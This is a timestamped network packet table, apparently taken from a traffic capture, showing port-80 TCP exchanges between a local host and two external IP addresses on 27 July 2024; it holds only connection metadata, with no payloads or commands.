Jul 27, 2024 03:19:18.453208923 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.453243017 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.453252077 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.453278065 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.453301907 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.453315973 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.453336000 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.453349113 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.453382969 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.453394890 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.453394890 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.453414917 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.453448057 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.453459978 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.453459978 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.453480959 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.453516006 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.453531027 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.453531027 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.453547955 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.453584909 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.453617096 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.703785896 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.703785896 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:18.708825111 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:18.708858013 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:19.470786095 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:19.470984936 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:19.536189079 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:19.541312933 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:19.715862989 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:19.715898991 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:19.715930939 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:19.716013908 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:19.716062069 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:19.719995975 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:19.725665092 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:19.927073002 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:19.927233934 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:19.936400890 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:19.941270113 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:19.941371918 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:19.941524029 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:19.946353912 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.688822031 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.688838959 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.688853025 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.688877106 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.688883066 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:20.688890934 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.688900948 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:20.688906908 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.688922882 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.688940048 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:20.688957930 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:20.688957930 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.688972950 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.688991070 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:20.689013004 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:20.689038992 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.689071894 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:20.693833113 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.693897963 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:20.693962097 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.693996906 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:20.837028980 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.837053061 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.837071896 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.837085962 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.837101936 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.837116957 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.837141991 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:20.837174892 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:20.837336063 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.837379932 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:20.837387085 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.837402105 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.837424994 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:20.837440014 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:20.837502956 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.837541103 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:20.837903023 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.837915897 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.837930918 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.837944031 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:20.837949991 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.837958097 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:20.837965012 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.838000059 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:20.838006973 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:20.838606119 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.838623047 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.838638067 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.838654041 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.838655949 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:20.838666916 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.838673115 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:20.838684082 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.838691950 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:20.838718891 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:20.839544058 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.839591980 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:20.841980934 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.842032909 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.842039108 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:20.842071056 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:20.842113972 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.842156887 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:20.984889984 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.984908104 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.984971046 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.984985113 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.985002041 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.985016108 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.985114098 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:20.985162020 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.985199928 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.985205889 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:20.985213041 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.985230923 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:20.985251904 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:20.985255957 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.985287905 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:20.985522985 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.985568047 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:20.985579967 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.985596895 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.985620022 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:20.985634089 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:20.985646009 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.985661030 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.985676050 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.985683918 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:20.985697031 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:20.985712051 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:20.985846043 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.985888004 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:20.985919952 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.985940933 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.985955000 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.985965014 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:20.985979080 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:20.985992908 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:20.986151934 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.986166954 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.986182928 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.986196995 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.986197948 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:20.986213923 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:20.986236095 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:20.986417055 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.986433029 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.986447096 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.986463070 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:20.986476898 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:20.986527920 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.986562967 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.986567020 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:20.986577034 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.986596107 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:20.986609936 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:20.986666918 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.986680984 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.986695051 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.986706018 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:20.986709118 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.986717939 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:20.986732006 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:20.986747026 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:20.987148046 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.987164974 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.987188101 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.987194061 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:20.987202883 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.987207890 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:20.987219095 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.987222910 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:20.987234116 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.987240076 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:20.987250090 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.987255096 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:20.987268925 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:20.987283945 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:20.987694979 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.987716913 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.987731934 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.987741947 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:20.987746000 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.987755060 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:20.987761974 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.987771988 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:20.987776041 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.987786055 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:20.987802029 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:20.987814903 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:20.989912033 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.989938021 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.989953041 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.989965916 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:20.989968061 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.989981890 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:20.989984989 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.989989996 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:20.990000010 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:20.990003109 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:20.990017891 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:20.990032911 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.135087013 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.135137081 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.135243893 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.135251045 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.135265112 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.135266066 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.135288000 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.135292053 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.135303974 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.135305882 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.135323048 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.135327101 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.135339975 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.135341883 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.135358095 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.135361910 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.135371923 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.135375977 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.135389090 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.135390997 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.135406017 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.135413885 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.135422945 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.135426998 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.135442972 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.135447979 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.135457993 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.135462999 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.135473013 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.135477066 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.135493040 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.135507107 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.135509014 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.135521889 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.135535955 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.135545969 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.135555983 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.135570049 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.135592937 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.135607004 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.135621071 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.135627985 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.135637045 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.135642052 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.135653019 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.135658979 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.135674000 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.135689974 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.135910034 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.135922909 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.135957956 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.136450052 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.136466026 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.136493921 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.136497021 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.136508942 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.136521101 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.136529922 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.136537075 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.136550903 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.136560917 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.136564016 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.136574030 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.136579037 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.136588097 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.136593103 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.136601925 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.136609077 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.136620998 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.136624098 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.136631012 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.136639118 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.136645079 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.136652946 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.136661053 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.136670113 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.136677980 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.136684895 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.136692047 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.136699915 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.136706114 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.136713028 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.136719942 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.136728048 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.136733055 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.136743069 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.136748075 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.136758089 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.136764050 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.136773109 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.136778116 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.136789083 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.136795044 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.136809111 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.136822939 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.136914968 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.136929035 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.136943102 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.136953115 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.136956930 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.136970043 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.136972904 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.136981964 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.136987925 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.136996031 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.137003899 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.137010098 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.137018919 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.137027025 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.137032986 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.137041092 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.137049913 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.137058020 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.137070894 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.137099028 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.140369892 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.140434980 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.140470982 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.140492916 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.140510082 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.140511036 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.140526056 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.140532017 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.140541077 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.140547037 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.140556097 CEST	80	49713	185.215.113.16	192.168.2.6
